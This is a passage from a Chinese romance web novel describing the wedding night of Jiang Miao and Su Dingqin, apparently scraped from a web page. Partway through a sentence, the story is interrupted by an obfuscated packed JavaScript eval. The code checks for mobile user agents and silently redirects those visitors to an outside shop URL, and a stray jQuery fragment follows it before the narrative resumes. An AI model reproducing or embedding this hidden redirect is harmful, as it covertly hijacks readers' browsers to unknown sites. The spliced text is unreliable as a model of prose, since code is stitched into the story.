一听这声音,屋内众人立时又行动起来,姜妙坐正了身子,又重新将那团扇举起,玉芙与青荇为她整理了步摇流苏,衣缘裙摆。
才刚收拾妥帖,便听得有人推门。
随她来的四个丫头立时站好立在一旁,便见外间一道身着红色裳衣的身影走了进来。
姜妙举着团扇,外头什么情况并看不真切。
只听那执礼嬷嬷似有说了些祝福之语,才听到脚步声转过屏风,入了内室。
从团扇边缘看去,仍见白日里那双崭新官靴,倒是衣摆不知何时蹭了些尘土,不比晨起见他时那般干净。
“县主安好。”
对面之人似乎是行了个礼,听声音倒是清醒,不像郑嬷嬷口中那些新婚夜喝多了犯糊涂的新郎官。
姜妙沉默着点了点头。
于是原本站在她对面之人便又走了两步,走至架子床前,整了整衣衫,方转身坐在了她身边。
姜妙微侧了身,只坐了那架子床一个边缘,仍是用团扇挡着半张脸,视线低垂,故作羞怯之态。
执礼嬷嬷见二人坐好了,笑着道:“却扇!”
姜妙闻言,这才将那团扇缓缓移开,放在上前来捧着托盘的小丫鬟手中。
她此时方才按照李词表姐所说,又慢慢抬起视线,看向对面坐着的苏定钦。
这才算是他们二人今日正式见了面。
那人与在登云楼见时并无太大不同,仍旧是一张被女娲娘娘过分偏爱过的脸。只是也不知是那喜服映的,还是他到底在外头宴席上喝了酒,身上那股生人勿近的味少了许多,倒觉得面色微暖,似乎格外温柔。
只一眼,姜妙又垂下了眼帘。
苏定钦却未曾回避目光,只是含着几分探究看着自己的新婚妻子。她睫毛长而卷翘,此时低着眼帘,落在他眼中,便如蝶翅一般。
世人都道乐宜县主生得好样貌,如同天上仙子一般,今日方才体会。
一身华丽的嫁衣,并着头上钗冠梳簪,在她如画眉目前,也尽已失色三分。
执礼嬷嬷见一对新人当真郎才女貌天造地设,眼睛都笑眯成了一条线,又道:“合卺!”
小丫鬟捧上合卺礼用的酒葫芦来,里头已倒好了清酒,端得近了,便有清香味传来。
许是打听到她不爱饮酒,苏家的合卺酒用的是更为绵软的果酒。
姜妙与苏定钦各饮一瓠,饮毕后,由执礼嬷嬷以红绳将两半酒葫芦重新复原,此为礼成。
至此,两位新人在众人面前的礼数便差不多结束了。
那执礼嬷嬷也不多留,只道:“安寝!”
立时屋内侍奉的丫鬟婆子,都跟随执礼嬷嬷的脚步退了出去。房门掩上,屋内便只剩两个本该成为最亲近的人的陌生人。
热闹罢了,只剩安静,一时间有股莫名的尴尬传了开去。
姜妙清了清嗓子:“你,你吃过了吗?”
话出口了,她又有些后悔,这话还用问吗?他自前头席面而来,自然是好吃好喝的。
苏定钦浅笑:“不知母亲送来的晚膳县主可还习惯?”
“你知道?”姜妙瞪大眼睛抬头问他。
苏定钦点头:“母亲在后宅,不知县主喜欢什么,于是我便问了郑嬷嬷。”
“原来是这样。”
怪不得那名叫映蕊的丫头说是阮夫人和郑嬷嬷都点了头的,原来是苏定钦去问。这样就对了,阮夫人又不曾到侯府,哪里会一下就认识郑嬷嬷。
“因顾及礼数,晚膳并不丰盛,还请县主担待。”
他那温和好听的声音又传来,姜妙于是又道:“味道很好,多谢……”
只是那“谢”字出口,后头的称呼却又犯难。
若称“夫君”“郎君”未免太过亲昵些,她并不打算真与眼前之人做夫妻,自然也不想用这等亲近之语;可若再叫“苏公子”,未免
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17843888|211692||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
又有些生分,若惹了眼前之人怀疑,恐怕也不是好事。
正思考之际,许是那人看出她几分犹豫,竟是开口解围。
“既呈恩旨,为县主夫婿,便应如此。”
姜妙有些诧异。
她虽道理颇多,但实则并未与哪个男子相处过太深,所见不过是平素父亲母亲,又或是李词表姐与驸马,可他们似乎皆不与眼前之人相同。
虽是早做打算逢场作戏,可此时倒好像是被人打了个措手不及一般。
见她坐在那处也不答话,似有些拘束,苏定钦于是又道:“天色不早,不如县主先梳洗整理,早些休息。今日流程诸多,想必劳累。”
“你说得是。”姜妙点点头。
他既已给了台阶,那她自然应下,起身往妆镜前走去。
见她往那边去了,苏定钦兀自笑笑。
成婚前蔺怀松对着他好一番说辞,把县主说得刁蛮跋扈,如今亲眼所见,不过还是个单纯的姑娘罢了,也并不与人为难。
只是赐婚突然,他们从前互不相识,如今乍然成了夫妻,需有些时日适应也是自然。
他如今算是看明白了,这赐婚里头许有诸多内幕,但当与面前的妻子并无关系。
既县主不明就里,那他尽好夫婿之责便无错漏。
只是眼瞧着那姑娘坐在妆镜前,却半天没有动作,仿佛是遇见什么难事。
苏定钦微一挑眉,起身走了过去。
“县主可是遇到了麻烦?”
他屋中原没有这梳妆台,是赐婚圣旨后母亲做主订来,说给县主使用。苏定钦只当是这新物件与县主原先所用不同,那姑娘不习惯,谁料,他的新婚妻子竟从镜中看向他。
“这发髻复杂,我不会拆,你……你会吗?”
镜中人一双眼睛似林间受了惊吓的小鹿,看向他时却带着几分探究,苏定钦从打磨得明亮的铜镜内看着她,眉心跳了一下。